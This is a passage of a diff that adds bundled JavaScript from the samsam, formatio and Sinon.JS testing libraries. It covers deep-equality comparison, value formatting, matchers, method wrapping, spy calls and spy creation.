+                    : path2 + '[' + JSON.stringify(key) + ']';
+
+                // stop recursion if current objects are already compared
+                if (compared[newPath1 + newPath2]) {
+                    return true;
+                }
+
+                // remember the current objects and their pathes
+                if (index1 === -1 && isObject1) {
+                    objects1.push(value1);
+                    paths1.push(newPath1);
+                }
+                if (index2 === -1 && isObject2) {
+                    objects2.push(value2);
+                    paths2.push(newPath2);
+                }
+
+                // remember that the current objects are already compared
+                if (isObject1 && isObject2) {
+                    compared[newPath1 + newPath2] = true;
+                }
+
+                // End of cyclic logic
+
+                // neither value1 nor value2 is a cycle
+                // continue with next level
+                if (!deepEqual(value1, value2, newPath1, newPath2)) {
+                    return false;
+                }
+            }
+
+            return true;
+
+        }(obj1, obj2, '$1', '$2'));
+    }
+
+    var match;
+
+    function arrayContains(array, subset) {
+        if (subset.length === 0) { return true; }
+        var i, l, j, k;
+        for (i = 0, l = array.length; i < l; ++i) {
+            if (match(array[i], subset[0])) {
+                for (j = 0, k = subset.length; j < k; ++j) {
+                    if (!match(array[i + j], subset[j])) { return false; }
+                }
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * @name samsam.match
+     * @param Object object
+     * @param Object matcher
+     *
+     * Compare arbitrary value ``object`` with matcher.
+     */
+    match = function match(object, matcher) {
+        if (matcher && typeof matcher.test === "function") {
+            return matcher.test(object);
+        }
+
+        if (typeof matcher === "function") {
+            return matcher(object) === true;
+        }
+
+        if (typeof matcher === "string") {
+            matcher = matcher.toLowerCase();
+            var notNull = typeof object === "string" || !!object;
+            return notNull &&
+                (String(object)).toLowerCase().indexOf(matcher) >= 0;
+        }
+
+        if (typeof matcher === "number") {
+            return matcher === object;
+        }
+
+        if (typeof matcher === "boolean") {
+            return matcher === object;
+        }
+
+        if (getClass(object) === "Array" && getClass(matcher) === "Array") {
+            return arrayContains(object, matcher);
+        }
+
+        if (matcher && typeof matcher === "object") {
+            var prop;
+            for (prop in matcher) {
+                if (!match(object[prop], matcher[prop])) {
+                    return false;
+                }
+            }
+            return true;
+        }
+
+        throw new Error("Matcher was not a string, a number, a " +
+                        "function, a boolean or an object");
+    };
+
+    return {
+        isArguments: isArguments,
+        isElement: isElement,
+        isDate: isDate,
+        isNegZero: isNegZero,
+        identical: identical,
+        deepEqual: deepEqualCyclic,
+        match: match,
+        keys: keys
+    };
+});
+((typeof define === "function" && define.amd && function (m) {
+    define("formatio", ["samsam"], m);
+}) || (typeof module === "object" && function (m) {
+    module.exports = m(require("samsam"));
+}) || function (m) { this.formatio = m(this.samsam); }
+)(function (samsam) {
+    
+    var formatio = {
+        excludeConstructors: ["Object", /^.$/],
+        quoteStrings: true
+    };
+
+    var hasOwn = Object.prototype.hasOwnProperty;
+
+    var specialObjects = [];
+    if (typeof global !== "undefined") {
+        specialObjects.push({ object: global, value: "[object global]" });
+    }
+    if (typeof document !== "undefined") {
+        specialObjects.push({
+            object: document,
+            value: "[object HTMLDocument]"
+        });
+    }
+    if (typeof window !== "undefined") {
+        specialObjects.push({ object: window, value: "[object Window]" });
+    }
+
+    function functionName(func) {
+        if (!func) { return ""; }
+        if (func.displayName) { return func.displayName; }
+        if (func.name) { return func.name; }
+        var matches = func.toString().match(/function\s+([^\(]+)/m);
+        return (matches && matches[1]) || "";
+    }
+
+    function constructorName(f, object) {
+        var name = functionName(object && object.constructor);
+        var excludes = f.excludeConstructors ||
+                formatio.excludeConstructors || [];
+
+        var i, l;
+        for (i = 0, l = excludes.length; i < l; ++i) {
+            if (typeof excludes[i] === "string" && excludes[i] === name) {
+                return "";
+            } else if (excludes[i].test && excludes[i].test(name)) {
+                return "";
+            }
+        }
+
+        return name;
+    }
+
+    function isCircular(object, objects) {
+        if (typeof object !== "object") { return false; }
+        var i, l;
+        for (i = 0, l = objects.length; i < l; ++i) {
+            if (objects[i] === object) { return true; }
+        }
+        return false;
+    }
+
+    function ascii(f, object, processed, indent) {
+        if (typeof object === "string") {
+            var qs = f.quoteStrings;
+            var quote = typeof qs !== "boolean" || qs;
+            return processed || quote ? '"' + object + '"' : object;
+        }
+
+        if (typeof object === "function" && !(object instanceof RegExp)) {
+            return ascii.func(object);
+        }
+
+        processed = processed || [];
+
+        if (isCircular(object, processed)) { return "[Circular]"; }
+
+        if (Object.prototype.toString.call(object) === "[object Array]") {
+            return ascii.array.call(f, object, processed);
+        }
+
+        if (!object) { return String((1/object) === -Infinity ? "-0" : object); }
+        if (samsam.isElement(object)) { return ascii.element(object); }
+
+        if (typeof object.toString === "function" &&
+                object.toString !== Object.prototype.toString) {
+            return object.toString();
+        }
+
+        var i, l;
+        for (i = 0, l = specialObjects.length; i < l; i++) {
+            if (object === specialObjects[i].object) {
+                return specialObjects[i].value;
+            }
+        }
+
+        return ascii.object.call(f, object, processed, indent);
+    }
+
+    ascii.func = function (func) {
+        return "function " + functionName(func) + "() {}";
+    };
+
+    ascii.array = function (array, processed) {
+        processed = processed || [];
+        processed.push(array);
+        var i, l, pieces = [];
+        for (i = 0, l = array.length; i < l; ++i) {
+            pieces.push(ascii(this, array[i], processed));
+        }
+        return "[" + pieces.join(", ") + "]";
+    };
+
+    ascii.object = function (object, processed, indent) {
+        processed = processed || [];
+        processed.push(object);
+        indent = indent || 0;
+        var pieces = [], properties = samsam.keys(object).sort();
+        var length = 3;
+        var prop, str, obj, i, l;
+
+        for (i = 0, l = properties.length; i < l; ++i) {
+            prop = properties[i];
+            obj = object[prop];
+
+            if (isCircular(obj, processed)) {
+                str = "[Circular]";
+            } else {
+                str = ascii(this, obj, processed, indent + 2);
+            }
+
+            str = (/\s/.test(prop) ? '"' + prop + '"' : prop) + ": " + str;
+            length += str.length;
+            pieces.push(str);
+        }
+
+        var cons = constructorName(this, object);
+        var prefix = cons ? "[" + cons + "] " : "";
+        var is = "";
+        for (i = 0, l = indent; i < l; ++i) { is += " "; }
+
+        if (length + indent > 80) {
+            return prefix + "{\n  " + is + pieces.join(",\n  " + is) + "\n" +
+                is + "}";
+        }
+        return prefix + "{ " + pieces.join(", ") + " }";
+    };
+
+    ascii.element = function (element) {
+        var tagName = element.tagName.toLowerCase();
+        var attrs = element.attributes, attr, pairs = [], attrName, i, l, val;
+
+        for (i = 0, l = attrs.length; i < l; ++i) {
+            attr = attrs.item(i);
+            attrName = attr.nodeName.toLowerCase().replace("html:", "");
+            val = attr.nodeValue;
+            if (attrName !== "contenteditable" || val !== "inherit") {
+                if (!!val) { pairs.push(attrName + "=\"" + val + "\""); }
+            }
+        }
+
+        var formatted = "<" + tagName + (pairs.length > 0 ? " " : "");
+        var content = element.innerHTML;
+
+        if (content.length > 20) {
+            content = content.substr(0, 20) + "[...]";
+        }
+
+        var res = formatted + pairs.join(" ") + ">" + content +
+                "</" + tagName + ">";
+
+        return res.replace(/ contentEditable="inherit"/, "");
+    };
+
+    function Formatio(options) {
+        for (var opt in options) {
+            this[opt] = options[opt];
+        }
+    }
+
+    Formatio.prototype = {
+        functionName: functionName,
+
+        configure: function (options) {
+            return new Formatio(options);
+        },
+
+        constructorName: function (object) {
+            return constructorName(this, object);
+        },
+
+        ascii: function (object, processed, indent) {
+            return ascii(this, object, processed, indent);
+        }
+    };
+
+    return Formatio.prototype;
+});
+/*jslint eqeqeq: false, onevar: false, forin: true, nomen: false, regexp: false, plusplus: false*/
+/*global module, require, __dirname, document*/
+/**
+ * Sinon core utilities. For internal use only.
+ *
+ * @author Christian Johansen (christian@cjohansen.no)
+ * @license BSD
+ *
+ * Copyright (c) 2010-2013 Christian Johansen
+ */
+
+var sinon = (function (formatio) {
+    var div = typeof document != "undefined" && document.createElement("div");
+    var hasOwn = Object.prototype.hasOwnProperty;
+
+    function isDOMNode(obj) {
+        var success = false;
+
+        try {
+            obj.appendChild(div);
+            success = div.parentNode == obj;
+        } catch (e) {
+            return false;
+        } finally {
+            try {
+                obj.removeChild(div);
+            } catch (e) {
+                // Remove failed, not much we can do about that
+            }
+        }
+
+        return success;
+    }
+
+    function isElement(obj) {
+        return div && obj && obj.nodeType === 1 && isDOMNode(obj);
+    }
+
+    function isFunction(obj) {
+        return typeof obj === "function" || !!(obj && obj.constructor && obj.call && obj.apply);
+    }
+
+    function mirrorProperties(target, source) {
+        for (var prop in source) {
+            if (!hasOwn.call(target, prop)) {
+                target[prop] = source[prop];
+            }
+        }
+    }
+
+    function isRestorable (obj) {
+        return typeof obj === "function" && typeof obj.restore === "function" && obj.restore.sinon;
+    }
+
+    var sinon = {
+        wrapMethod: function wrapMethod(object, property, method) {
+            if (!object) {
+                throw new TypeError("Should wrap property of object");
+            }
+
+            if (typeof method != "function") {
+                throw new TypeError("Method wrapper should be function");
+            }
+
+            var wrappedMethod = object[property],
+                error;
+
+            if (!isFunction(wrappedMethod)) {
+                error = new TypeError("Attempted to wrap " + (typeof wrappedMethod) + " property " +
+                                    property + " as function");
+            }
+
+            if (wrappedMethod.restore && wrappedMethod.restore.sinon) {
+                error = new TypeError("Attempted to wrap " + property + " which is already wrapped");
+            }
+
+            if (wrappedMethod.calledBefore) {
+                var verb = !!wrappedMethod.returns ? "stubbed" : "spied on";
+                error = new TypeError("Attempted to wrap " + property + " which is already " + verb);
+            }
+
+            if (error) {
+                if (wrappedMethod._stack) {
+                    error.stack += '\n--------------\n' + wrappedMethod._stack;
+                }
+                throw error;
+            }
+
+            // IE 8 does not support hasOwnProperty on the window object and Firefox has a problem
+            // when using hasOwn.call on objects from other frames.
+            var owned = object.hasOwnProperty ? object.hasOwnProperty(property) : hasOwn.call(object, property);
+            object[property] = method;
+            method.displayName = property;
+            // Set up a stack trace which can be used later to find what line of
+            // code the original method was created on.
+            method._stack = (new Error('Stack Trace for original')).stack;
+
+            method.restore = function () {
+                // For prototype properties try to reset by delete first.
+                // If this fails (ex: localStorage on mobile safari) then force a reset
+                // via direct assignment.
+                if (!owned) {
+                    delete object[property];
+                }
+                if (object[property] === method) {
+                    object[property] = wrappedMethod;
+                }
+            };
+
+            method.restore.sinon = true;
+            mirrorProperties(method, wrappedMethod);
+
+            return method;
+        },
+
+        extend: function extend(target) {
+            for (var i = 1, l = arguments.length; i < l; i += 1) {
+                for (var prop in arguments[i]) {
+                    if (arguments[i].hasOwnProperty(prop)) {
+                        target[prop] = arguments[i][prop];
+                    }
+
+                    // DONT ENUM bug, only care about toString
+                    if (arguments[i].hasOwnProperty("toString") &&
+                        arguments[i].toString != target.toString) {
+                        target.toString = arguments[i].toString;
+                    }
+                }
+            }
+
+            return target;
+        },
+
+        create: function create(proto) {
+            var F = function () {};
+            F.prototype = proto;
+            return new F();
+        },
+
+        deepEqual: function deepEqual(a, b) {
+            if (sinon.match && sinon.match.isMatcher(a)) {
+                return a.test(b);
+            }
+            if (typeof a != "object" || typeof b != "object") {
+                return a === b;
+            }
+
+            if (isElement(a) || isElement(b)) {
+                return a === b;
+            }
+
+            if (a === b) {
+                return true;
+            }
+
+            if ((a === null && b !== null) || (a !== null && b === null)) {
+                return false;
+            }
+
+            var aString = Object.prototype.toString.call(a);
+            if (aString != Object.prototype.toString.call(b)) {
+                return false;
+            }
+
+            if (aString == "[object Date]") {
+                return a.valueOf() === b.valueOf();
+            }
+
+            var prop, aLength = 0, bLength = 0;
+
+            if (aString == "[object Array]" && a.length !== b.length) {
+                return false;
+            }
+
+            for (prop in a) {
+                aLength += 1;
+
+                if (!deepEqual(a[prop], b[prop])) {
+                    return false;
+                }
+            }
+
+            for (prop in b) {
+                bLength += 1;
+            }
+
+            return aLength == bLength;
+        },
+
+        functionName: function functionName(func) {
+            var name = func.displayName || func.name;
+
+            // Use function decomposition as a last resort to get function
+            // name. Does not rely on function decomposition to work - if it
+            // doesn't debugging will be slightly less informative
+            // (i.e. toString will say 'spy' rather than 'myFunc').
+            if (!name) {
+                var matches = func.toString().match(/function ([^\s\(]+)/);
+                name = matches && matches[1];
+            }
+
+            return name;
+        },
+
+        functionToString: function toString() {
+            if (this.getCall && this.callCount) {
+                var thisValue, prop, i = this.callCount;
+
+                while (i--) {
+                    thisValue = this.getCall(i).thisValue;
+
+                    for (prop in thisValue) {
+                        if (thisValue[prop] === this) {
+                            return prop;
+                        }
+                    }
+                }
+            }
+
+            return this.displayName || "sinon fake";
+        },
+
+        getConfig: function (custom) {
+            var config = {};
+            custom = custom || {};
+            var defaults = sinon.defaultConfig;
+
+            for (var prop in defaults) {
+                if (defaults.hasOwnProperty(prop)) {
+                    config[prop] = custom.hasOwnProperty(prop) ? custom[prop] : defaults[prop];
+                }
+            }
+
+            return config;
+        },
+
+        format: function (val) {
+            return "" + val;
+        },
+
+        defaultConfig: {
+            injectIntoThis: true,
+            injectInto: null,
+            properties: ["spy", "stub", "mock", "clock", "server", "requests"],
+            useFakeTimers: true,
+            useFakeServer: true
+        },
+
+        timesInWords: function timesInWords(count) {
+            return count == 1 && "once" ||
+                count == 2 && "twice" ||
+                count == 3 && "thrice" ||
+                (count || 0) + " times";
+        },
+
+        calledInOrder: function (spies) {
+            for (var i = 1, l = spies.length; i < l; i++) {
+                if (!spies[i - 1].calledBefore(spies[i]) || !spies[i].called) {
+                    return false;
+                }
+            }
+
+            return true;
+        },
+
+        orderByFirstCall: function (spies) {
+            return spies.sort(function (a, b) {
+                // uuid, won't ever be equal
+                var aCall = a.getCall(0);
+                var bCall = b.getCall(0);
+                var aId = aCall && aCall.callId || -1;
+                var bId = bCall && bCall.callId || -1;
+
+                return aId < bId ? -1 : 1;
+            });
+        },
+
+        log: function () {},
+
+        logError: function (label, err) {
+            var msg = label + " threw exception: ";
+            sinon.log(msg + "[" + err.name + "] " + err.message);
+            if (err.stack) { sinon.log(err.stack); }
+
+            setTimeout(function () {
+                err.message = msg + err.message;
+                throw err;
+            }, 0);
+        },
+
+        typeOf: function (value) {
+            if (value === null) {
+                return "null";
+            }
+            else if (value === undefined) {
+                return "undefined";
+            }
+            var string = Object.prototype.toString.call(value);
+            return string.substring(8, string.length - 1).toLowerCase();
+        },
+
+        createStubInstance: function (constructor) {
+            if (typeof constructor !== "function") {
+                throw new TypeError("The constructor should be a function.");
+            }
+            return sinon.stub(sinon.create(constructor.prototype));
+        },
+
+        restore: function (object) {
+            if (object !== null && typeof object === "object") {
+                for (var prop in object) {
+                    if (isRestorable(object[prop])) {
+                        object[prop].restore();
+                    }
+                }
+            }
+            else if (isRestorable(object)) {
+                object.restore();
+            }
+        }
+    };
+
+    var isNode = typeof module !== "undefined" && module.exports;
+    var isAMD = typeof define === 'function' && typeof define.amd === 'object' && define.amd;
+
+    if (isAMD) {
+        define(function(){
+            return sinon;
+        });
+    } else if (isNode) {
+        try {
+            formatio = require("formatio");
+        } catch (e) {}
+        module.exports = sinon;
+        module.exports.spy = require("./sinon/spy");
+        module.exports.spyCall = require("./sinon/call");
+        module.exports.behavior = require("./sinon/behavior");
+        module.exports.stub = require("./sinon/stub");
+        module.exports.mock = require("./sinon/mock");
+        module.exports.collection = require("./sinon/collection");
+        module.exports.assert = require("./sinon/assert");
+        module.exports.sandbox = require("./sinon/sandbox");
+        module.exports.test = require("./sinon/test");
+        module.exports.testCase = require("./sinon/test_case");
+        module.exports.assert = require("./sinon/assert");
+        module.exports.match = require("./sinon/match");
+    }
+
+    if (formatio) {
+        var formatter = formatio.configure({ quoteStrings: false });
+        sinon.format = function () {
+            return formatter.ascii.apply(formatter, arguments);
+        };
+    } else if (isNode) {
+        try {
+            var util = require("util");
+            sinon.format = function (value) {
+                return typeof value == "object" && value.toString === Object.prototype.toString ? util.inspect(value) : value;
+            };
+        } catch (e) {
+            /* Node, but no util module - would be very old, but better safe than
+             sorry */
+        }
+    }
+
+    return sinon;
+}(typeof formatio == "object" && formatio));
+
+/* @depend ../sinon.js */
+/*jslint eqeqeq: false, onevar: false, plusplus: false*/
+/*global module, require, sinon*/
+/**
+ * Match functions
+ *
+ * @author Maximilian Antoni (mail@maxantoni.de)
+ * @license BSD
+ *
+ * Copyright (c) 2012 Maximilian Antoni
+ */
+
+(function (sinon) {
+    var commonJSModule = typeof module !== 'undefined' && module.exports;
+
+    if (!sinon && commonJSModule) {
+        sinon = require("../sinon");
+    }
+
+    if (!sinon) {
+        return;
+    }
+
+    function assertType(value, type, name) {
+        var actual = sinon.typeOf(value);
+        if (actual !== type) {
+            throw new TypeError("Expected type of " + name + " to be " +
+                type + ", but was " + actual);
+        }
+    }
+
+    var matcher = {
+        toString: function () {
+            return this.message;
+        }
+    };
+
+    function isMatcher(object) {
+        return matcher.isPrototypeOf(object);
+    }
+
+    function matchObject(expectation, actual) {
+        if (actual === null || actual === undefined) {
+            return false;
+        }
+        for (var key in expectation) {
+            if (expectation.hasOwnProperty(key)) {
+                var exp = expectation[key];
+                var act = actual[key];
+                if (match.isMatcher(exp)) {
+                    if (!exp.test(act)) {
+                        return false;
+                    }
+                } else if (sinon.typeOf(exp) === "object") {
+                    if (!matchObject(exp, act)) {
+                        return false;
+                    }
+                } else if (!sinon.deepEqual(exp, act)) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+
+    matcher.or = function (m2) {
+        if (!isMatcher(m2)) {
+            throw new TypeError("Matcher expected");
+        }
+        var m1 = this;
+        var or = sinon.create(matcher);
+        or.test = function (actual) {
+            return m1.test(actual) || m2.test(actual);
+        };
+        or.message = m1.message + ".or(" + m2.message + ")";
+        return or;
+    };
+
+    matcher.and = function (m2) {
+        if (!isMatcher(m2)) {
+            throw new TypeError("Matcher expected");
+        }
+        var m1 = this;
+        var and = sinon.create(matcher);
+        and.test = function (actual) {
+            return m1.test(actual) && m2.test(actual);
+        };
+        and.message = m1.message + ".and(" + m2.message + ")";
+        return and;
+    };
+
+    var match = function (expectation, message) {
+        var m = sinon.create(matcher);
+        var type = sinon.typeOf(expectation);
+        switch (type) {
+        case "object":
+            if (typeof expectation.test === "function") {
+                m.test = function (actual) {
+                    return expectation.test(actual) === true;
+                };
+                m.message = "match(" + sinon.functionName(expectation.test) + ")";
+                return m;
+            }
+            var str = [];
+            for (var key in expectation) {
+                if (expectation.hasOwnProperty(key)) {
+                    str.push(key + ": " + expectation[key]);
+                }
+            }
+            m.test = function (actual) {
+                return matchObject(expectation, actual);
+            };
+            m.message = "match(" + str.join(", ") + ")";
+            break;
+        case "number":
+            m.test = function (actual) {
+                return expectation == actual;
+            };
+            break;
+        case "string":
+            m.test = function (actual) {
+                if (typeof actual !== "string") {
+                    return false;
+                }
+                return actual.indexOf(expectation) !== -1;
+            };
+            m.message = "match(\"" + expectation + "\")";
+            break;
+        case "regexp":
+            m.test = function (actual) {
+                if (typeof actual !== "string") {
+                    return false;
+                }
+                return expectation.test(actual);
+            };
+            break;
+        case "function":
+            m.test = expectation;
+            if (message) {
+                m.message = message;
+            } else {
+                m.message = "match(" + sinon.functionName(expectation) + ")";
+            }
+            break;
+        default:
+            m.test = function (actual) {
+              return sinon.deepEqual(expectation, actual);
+            };
+        }
+        if (!m.message) {
+            m.message = "match(" + expectation + ")";
+        }
+        return m;
+    };
+
+    match.isMatcher = isMatcher;
+
+    match.any = match(function () {
+        return true;
+    }, "any");
+
+    match.defined = match(function (actual) {
+        return actual !== null && actual !== undefined;
+    }, "defined");
+
+    match.truthy = match(function (actual) {
+        return !!actual;
+    }, "truthy");
+
+    match.falsy = match(function (actual) {
+        return !actual;
+    }, "falsy");
+
+    match.same = function (expectation) {
+        return match(function (actual) {
+            return expectation === actual;
+        }, "same(" + expectation + ")");
+    };
+
+    match.typeOf = function (type) {
+        assertType(type, "string", "type");
+        return match(function (actual) {
+            return sinon.typeOf(actual) === type;
+        }, "typeOf(\"" + type + "\")");
+    };
+
+    match.instanceOf = function (type) {
+        assertType(type, "function", "type");
+        return match(function (actual) {
+            return actual instanceof type;
+        }, "instanceOf(" + sinon.functionName(type) + ")");
+    };
+
+    function createPropertyMatcher(propertyTest, messagePrefix) {
+        return function (property, value) {
+            assertType(property, "string", "property");
+            var onlyProperty = arguments.length === 1;
+            var message = messagePrefix + "(\"" + property + "\"";
+            if (!onlyProperty) {
+                message += ", " + value;
+            }
+            message += ")";
+            return match(function (actual) {
+                if (actual === undefined || actual === null ||
+                        !propertyTest(actual, property)) {
+                    return false;
+                }
+                return onlyProperty || sinon.deepEqual(value, actual[property]);
+            }, message);
+        };
+    }
+
+    match.has = createPropertyMatcher(function (actual, property) {
+        if (typeof actual === "object") {
+            return property in actual;
+        }
+        return actual[property] !== undefined;
+    }, "has");
+
+    match.hasOwn = createPropertyMatcher(function (actual, property) {
+        return actual.hasOwnProperty(property);
+    }, "hasOwn");
+
+    match.bool = match.typeOf("boolean");
+    match.number = match.typeOf("number");
+    match.string = match.typeOf("string");
+    match.object = match.typeOf("object");
+    match.func = match.typeOf("function");
+    match.array = match.typeOf("array");
+    match.regexp = match.typeOf("regexp");
+    match.date = match.typeOf("date");
+
+    if (commonJSModule) {
+        module.exports = match;
+    } else {
+        sinon.match = match;
+    }
+}(typeof sinon == "object" && sinon || null));
+
+/**
+  * @depend ../sinon.js
+  * @depend match.js
+  */
+/*jslint eqeqeq: false, onevar: false, plusplus: false*/
+/*global module, require, sinon*/
+/**
+  * Spy calls
+  *
+  * @author Christian Johansen (christian@cjohansen.no)
+  * @author Maximilian Antoni (mail@maxantoni.de)
+  * @license BSD
+  *
+  * Copyright (c) 2010-2013 Christian Johansen
+  * Copyright (c) 2013 Maximilian Antoni
+  */
+
+(function (sinon) {
+    var commonJSModule = typeof module !== 'undefined' && module.exports;
+    if (!sinon && commonJSModule) {
+        sinon = require("../sinon");
+    }
+
+    if (!sinon) {
+        return;
+    }
+
+    function throwYieldError(proxy, text, args) {
+        var msg = sinon.functionName(proxy) + text;
+        if (args.length) {
+            msg += " Received [" + slice.call(args).join(", ") + "]";
+        }
+        throw new Error(msg);
+    }
+
+    var slice = Array.prototype.slice;
+
+    var callProto = {
+        calledOn: function calledOn(thisValue) {
+            if (sinon.match && sinon.match.isMatcher(thisValue)) {
+                return thisValue.test(this.thisValue);
+            }
+            return this.thisValue === thisValue;
+        },
+
+        calledWith: function calledWith() {
+            for (var i = 0, l = arguments.length; i < l; i += 1) {
+                if (!sinon.deepEqual(arguments[i], this.args[i])) {
+                    return false;
+                }
+            }
+
+            return true;
+        },
+
+        calledWithMatch: function calledWithMatch() {
+            for (var i = 0, l = arguments.length; i < l; i += 1) {
+                var actual = this.args[i];
+                var expectation = arguments[i];
+                if (!sinon.match || !sinon.match(expectation).test(actual)) {
+                    return false;
+                }
+            }
+            return true;
+        },
+
+        calledWithExactly: function calledWithExactly() {
+            return arguments.length == this.args.length &&
+                this.calledWith.apply(this, arguments);
+        },
+
+        notCalledWith: function notCalledWith() {
+            return !this.calledWith.apply(this, arguments);
+        },
+
+        notCalledWithMatch: function notCalledWithMatch() {
+            return !this.calledWithMatch.apply(this, arguments);
+        },
+
+        returned: function returned(value) {
+            return sinon.deepEqual(value, this.returnValue);
+        },
+
+        threw: function threw(error) {
+            if (typeof error === "undefined" || !this.exception) {
+                return !!this.exception;
+            }
+
+            return this.exception === error || this.exception.name === error;
+        },
+
+        calledWithNew: function calledWithNew() {
+            return this.proxy.prototype && this.thisValue instanceof this.proxy;
+        },
+
+        calledBefore: function (other) {
+            return this.callId < other.callId;
+        },
+
+        calledAfter: function (other) {
+            return this.callId > other.callId;
+        },
+
+        callArg: function (pos) {
+            this.args[pos]();
+        },
+
+        callArgOn: function (pos, thisValue) {
+            this.args[pos].apply(thisValue);
+        },
+
+        callArgWith: function (pos) {
+            this.callArgOnWith.apply(this, [pos, null].concat(slice.call(arguments, 1)));
+        },
+
+        callArgOnWith: function (pos, thisValue) {
+            var args = slice.call(arguments, 2);
+            this.args[pos].apply(thisValue, args);
+        },
+
+        "yield": function () {
+            this.yieldOn.apply(this, [null].concat(slice.call(arguments, 0)));
+        },
+
+        yieldOn: function (thisValue) {
+            var args = this.args;
+            for (var i = 0, l = args.length; i < l; ++i) {
+                if (typeof args[i] === "function") {
+                    args[i].apply(thisValue, slice.call(arguments, 1));
+                    return;
+                }
+            }
+            throwYieldError(this.proxy, " cannot yield since no callback was passed.", args);
+        },
+
+        yieldTo: function (prop) {
+            this.yieldToOn.apply(this, [prop, null].concat(slice.call(arguments, 1)));
+        },
+
+        yieldToOn: function (prop, thisValue) {
+            var args = this.args;
+            for (var i = 0, l = args.length; i < l; ++i) {
+                if (args[i] && typeof args[i][prop] === "function") {
+                    args[i][prop].apply(thisValue, slice.call(arguments, 2));
+                    return;
+                }
+            }
+            throwYieldError(this.proxy, " cannot yield to '" + prop +
+                "' since no callback was passed.", args);
+        },
+
+        toString: function () {
+            var callStr = this.proxy.toString() + "(";
+            var args = [];
+
+            for (var i = 0, l = this.args.length; i < l; ++i) {
+                args.push(sinon.format(this.args[i]));
+            }
+
+            callStr = callStr + args.join(", ") + ")";
+
+            if (typeof this.returnValue != "undefined") {
+                callStr += " => " + sinon.format(this.returnValue);
+            }
+
+            if (this.exception) {
+                callStr += " !" + this.exception.name;
+
+                if (this.exception.message) {
+                    callStr += "(" + this.exception.message + ")";
+                }
+            }
+
+            return callStr;
+        }
+    };
+
+    callProto.invokeCallback = callProto.yield;
+
+    function createSpyCall(spy, thisValue, args, returnValue, exception, id) {
+        if (typeof id !== "number") {
+            throw new TypeError("Call id is not a number");
+        }
+        var proxyCall = sinon.create(callProto);
+        proxyCall.proxy = spy;
+        proxyCall.thisValue = thisValue;
+        proxyCall.args = args;
+        proxyCall.returnValue = returnValue;
+        proxyCall.exception = exception;
+        proxyCall.callId = id;
+
+        return proxyCall;
+    }
+    createSpyCall.toString = callProto.toString; // used by mocks
+
+    if (commonJSModule) {
+        module.exports = createSpyCall;
+    } else {
+        sinon.spyCall = createSpyCall;
+    }
+}(typeof sinon == "object" && sinon || null));
+
+
+/**
+  * @depend ../sinon.js
+  * @depend call.js
+  */
+/*jslint eqeqeq: false, onevar: false, plusplus: false*/
+/*global module, require, sinon*/
+/**
+  * Spy functions
+  *
+  * @author Christian Johansen (christian@cjohansen.no)
+  * @license BSD
+  *
+  * Copyright (c) 2010-2013 Christian Johansen
+  */
+
+(function (sinon) {
+    var commonJSModule = typeof module !== 'undefined' && module.exports;
+    var push = Array.prototype.push;
+    var slice = Array.prototype.slice;
+    var callId = 0;
+
+    if (!sinon && commonJSModule) {
+        sinon = require("../sinon");
+    }
+
+    if (!sinon) {
+        return;
+    }
+
+    function spy(object, property) {
+        if (!property && typeof object == "function") {
+            return spy.create(object);
+        }
+
+        if (!object && !property) {
+            return spy.create(function () { });
+        }
+
+        var method = object[property];
+        return sinon.wrapMethod(object, property, spy.create(method));
+    }
+
+    function matchingFake(fakes, args, strict) {
+        if (!fakes) {
+            return;
+        }
+
+        for (var i = 0, l = fakes.length; i < l; i++) {
+            if (fakes[i].matches(args, strict)) {
+                return fakes[i];
+            }
+        }
+    }
+
+    function incrementCallCount() {
+        this.called = true;
+        this.callCount += 1;
+        this.notCalled = false;
+        this.calledOnce = this.callCount == 1;
+        this.calledTwice = this.callCount == 2;
+        this.calledThrice = this.callCount == 3;
+    }
+
+    function createCallProperties() {
+        this.firstCall = this.getCall(0);
+        this.secondCall = this.getCall(1);
+        this.thirdCall = this.getCall(2);
+        this.lastCall = this.getCall(this.callCount - 1);
+    }
+
+    var vars = "a,b,c,d,e,f,g,h,i,j,k,l";
+    function createProxy(func) {
+        // Retain the function length:
+        var p;
+        if (func.length) {
+            eval("p = (function proxy(" + vars.substring(0, func.length * 2 - 1) +
+                ") { return p.invoke(func, this, slice.call(arguments)); });");
+        }
+        else {
+            p = function proxy() {
+                return p.invoke(func, this, slice.call(arguments));
+            };
+        }
+        return p;
+    }
+
+    var uuid = 0;
+
+    // Public API
+    var spyApi = {
+        reset: function () {
+            this.called = false;
+            this.notCalled = true;
+            this.calledOnce = false;
+            this.calledTwice = false;
+            this.calledThrice = false;
+            this.callCount = 0;
+            this.firstCall = null;
+            this.secondCall = null;
+            this.thirdCall = null;
+            this.lastCall = null;
+            this.args = [];
+            this.returnValues = [];
+            this.thisValues = [];
+            this.exceptions = [];
+            this.callIds = [];
+            if (this.fakes) {
+                for (var i = 0; i < this.fakes.length; i++) {
+                    this.fakes[i].reset();
+                }
+            }
+        },
+
+        create: function create(func) {
+            var name;
+
+            if (typeof func != "function") {
+                func = function () { };
+            } else {
+                name = sinon.functionName(func);
+            }
+
+            var proxy = createProxy(func);
+
+            sinon.extend(proxy, spy);
+            delete proxy.create;
+            sinon.extend(proxy, func);
+
+            proxy.reset();
+            proxy.prototype = func.prototype;
+            proxy.displayName = name || "spy";
+            proxy.toString = sinon.functionToString;
+            proxy._create = sinon.spy.create;
+            proxy.id = "spy#" + uuid++;
+
+            return proxy;
+        },
+
+        invoke: function invoke(func, thisValue, args) {
+            var matching = matchingFake(this.fakes, args);
+            var exception, returnValue;
+
+            incrementCallCount.call(this);
+            push.call(this.thisValues, thisValue);
+            push.call(this.args, args);
+            push.call(this.callIds, callId++);
+
+            try {
+                if (matching) {
+                    returnValue = matching.invoke(func, thisValue, args);
+                } else {
+                    returnValue = (this.func || func).apply(thisValue, args);
+                }
+
+                var thisCall = this.getCall(this.callCount - 1);
+                if (thisCall.calledWithNew() && typeof returnValue !== 'object') {
+                    returnValue = thisValue;
+                }
+            } catch (e) {
+                exception = e;
+            }
+
+            push.call(this.exceptions, exception);
+            push.call(this.returnValues, returnValue);
+
+            createCallProperties.call(this);
+
+            if (exception !== undefined) {
+                throw exception;
+            }
+
+            return returnValue;
+        },
+
+        getCall: function getCall(i) {
+            if (i < 0 || i >= this.callCount) {
+                return null;
+            }
+
+            return sinon.spyCall(this, this.thisValues[i], this.args[i],
+                                    this.returnValues[i], this.exceptions[i],
+                                    this.callIds[i]);
+        },
+
+        getCalls: function () {
+            var calls = [];
+            var i;
+
+            for (i = 0; i < this.callCount; i++) {
+                calls.push(this.getCall(i));
